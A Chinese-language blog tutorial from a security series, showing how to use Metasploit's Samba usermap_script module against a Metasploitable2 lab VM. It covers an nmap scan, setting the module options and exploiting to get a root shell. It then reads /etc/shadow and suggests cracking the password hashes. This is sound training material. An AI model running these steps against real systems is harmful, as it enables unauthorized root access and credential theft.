iT邦幫忙

2022 iThome 鐵人賽

DAY 17
1
Security

做IT必備的資安觀念!手把手帶你攻防實戰系列 第 17

Day 17 : 實作篇 - 如何使用 Metasploit Framework 進行滲透測試

  • 分享至 

  • xImage
  •  

小提醒:如果想跟著操作此篇,請先去以下網址進行安裝喔!
Day 11 : 實作篇 - Kali Linux VM虛擬機安裝教學
Day 12 : 實作篇 - Metasploitable2、OWASPBWA 靶機安裝教學

大家好,今天是開始實作的第四篇
那今天要來和大家介紹 Metasploit Framework 這個好工具!

Metasploit Framework

它是一個開源、知名、強大的滲透測試工具,常被資安測試人員用來驗證系統上的安全漏洞,它最大的優點是,你除了可以使用它現有的「模組(modules)」和「有效負載(payloads)」進行測試,也可以自己用 Ruby 編寫一個,再放到其對應的資料夾即可

你可以在kali VM的終端機輸入以下指令,到 Metasploit Framework 的 modules 資料夾有哪些內容

cd /usr/share/metasploit-framework/modules

https://ithelp.ithome.com.tw/upload/images/20221003/20141088Hn2irZWmd4.png

這裡附上他的 Logo 給大家參考參考
https://ithelp.ithome.com.tw/upload/images/20221003/20141088MPk5Zu31nE.png


那我們就來開始操作吧!
這裡你有兩種方式可以開啟 metasploit framework

第一種

首先,開啟你的kali VM,你可以按左上角的「kali icon」,搜尋metasploit framework並開啟它
https://ithelp.ithome.com.tw/upload/images/20221003/20141088oePBTTMGFS.png

第二種

也可以直接在終端機輸入以下指令開啟它

msfconsole

https://ithelp.ithome.com.tw/upload/images/20221003/20141088mDQCBg0Aj6.png

開啟成功會看見一張圖,且出現msf6 > 在前方。它的圖每次開啟都會長不一樣,大家也可以玩看看會出現哪些圖
https://ithelp.ithome.com.tw/upload/images/20221003/20141088b4E3OWGvhS.png


說明

那我們先來說等等要做什麼,我們要使用meta靶機Samba usermap script漏洞來進行攻擊,取得能對它終端機進行操作的權限。而 Samba 就是網路芳鄰的概念,能讓你在區域網路內共享主機資料

它是一個 2007 年被發現的漏洞,利用 Samba 版本 3.0.20 到 3.0.25rc3 中的終端機漏洞,讓 hacker 拿到受害者本機的最高權限,藉此竊取一些機密文件,也因為他在身分驗證之前映射用戶名,所以不需要進行身分驗證就可以使用這個漏洞

你可以在kali VM終端機輸入以下指令,使用 nmap 偵查meta靶機的 Samba 版本為何

sudo nmap -sV -sS -A <你meta靶機的IP>

稍微等它跑一下
https://ithelp.ithome.com.tw/upload/images/20221003/20141088jHpHE0lIbO.png

這裡能看到,它的 Samba 版本是3.0.20,可以進行此漏洞
https://ithelp.ithome.com.tw/upload/images/20221003/20141088ZpIudsKQbp.png


那我們就先來介紹它的模組(modules) 有哪些

  • Payloads:此為攻擊成功後,指定進行的下一步動作
  • Auxiliary:它是用來執行特定的工作(ex:資料蒐集、網路掃描等)
  • Encoders:用來加密 payloads 以及 attack vectors,避免被防毒軟體和防火牆偵測到
  • NOPs:使得 payloads 穩定
  • Exploits:此為真正進行攻擊的程式碼

再來介紹它的常見基本指令有哪些

  • searsh:尋找特定的模組
  • info:列出特定模組的相關資訊
  • use:選擇一個特定模組並開始操作
  • show:顯示指定的內容
  • set:設定一個值
  • run / exploit:開始執行模組的攻擊
  • back:取消使用模組,回到msf >

既然介紹完指令了,那我們就正式開始!

search

首先先在 metasploit framework 輸入以下指令,搜尋等等要運行的模組

search usermap

https://ithelp.ithome.com.tw/upload/images/20221003/201410887i4tqSLJQ6.png

info

你可以輸入以下指令,使用 info 查看這個模組的詳細內容

# 你可以選擇輸入它的路徑
info exploit/multi/samba/usermap_script

# 或是它在搜尋列表的編號
info 0

圖片上示範的是info exploit/multi/samba/usermap_script這個用法
https://ithelp.ithome.com.tw/upload/images/20221003/201410889FbubnNFpY.png

use

再輸入以下指令,選擇使用這個模組

# 你可以選擇輸入它的路徑
use exploit/multi/samba/usermap_script

# 或是它在搜尋列表的編號
use 0

這邊換示範use 0這個用法。如果有使用成功,在msf6後面會多出模組的路徑
https://ithelp.ithome.com.tw/upload/images/20221003/20141088zAuUH1VxbO.png

show

輸入以下指令,查看它執行所需的參數有哪些

show options

這邊可以看到,它有些是已經幫你設定好的,但 RHOSTS 需要自己設定

  • RHOSTS:欲攻擊的主機 IP 位址
  • RPORT:欲對哪個 port 號進行攻擊
  • LHOST:本機的 IP 位址
  • LPORT:欲使用哪個 port 號發動攻擊

https://ithelp.ithome.com.tw/upload/images/20221003/20141088EV7zcRgkkH.png

set

那我們就來把 RHOSTS 的參數補上,這裡我們的攻擊對象為meta靶機

# 格式:set <欲設定的參數名稱> <欲設定的值>
set PHOSTS <你meta靶機的IP>

設定完可以再輸入一次show options,看一下有沒有遺漏掉的參數
https://ithelp.ithome.com.tw/upload/images/20221003/20141088zPb87TFgzb.png

run / exploit

確認參數都有設定好,就開始針對此漏洞進行攻擊,輸入exploitrun都可以

# 擇一
exploit
run

執行完,就能對 meta 靶機的終端機進行操作,你可以輸入以下指令,確認攻擊有無成功

# 輸入 whoami 如果顯示 root,表示攻擊成功
whoami

# 你可以輸入 ifconfig 看一下攻擊目標是否正確
ifconfig

https://ithelp.ithome.com.tw/upload/images/20221003/20141088QbRI89BOKJ.png

這時你就能開始竊取機密資料啦,這裡我們示範的是印出/etc/shadow,這個檔案存的是經雜湊過的使用者密碼,你可以複製回kali VM裡使用 Ophrack 進行暴力破解
https://ithelp.ithome.com.tw/upload/images/20221003/20141088hZ48yUQ7C8.png

這時如果你FB、IG、蝦皮、銀行的帳號都使用同一組密碼,hacker 就可以使用這些密碼去進行登入,造成你更大的損失


但這個漏洞目前已經被修補成功(將 samba 版本更新上去即可),這裡只是藉此模組進行示範
Metasploit Framework上現有的模組都是已經被發現,並解決的漏洞

所以最一開始有提到,你可以自己編寫一個模組,去「驗證」你發現的問題是不是一個還沒被發現的漏洞,是的話就趕緊修補,以防被 hacker 趁虛而入
/images/emoticon/emoticon30.gif

以上就是今天的介紹
希望大家看完能對 Metasploit Framework 更加了解


上一篇
Day 16 : 實作篇 - 如何使用 ARP 欺騙(ARP Spoofing)進行中間人攻擊?
下一篇
Day 18 : 實作篇 - 如何使用 Burp Suite Proxy 對 web 進行封包攔截
系列文
做IT必備的資安觀念!手把手帶你攻防實戰30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言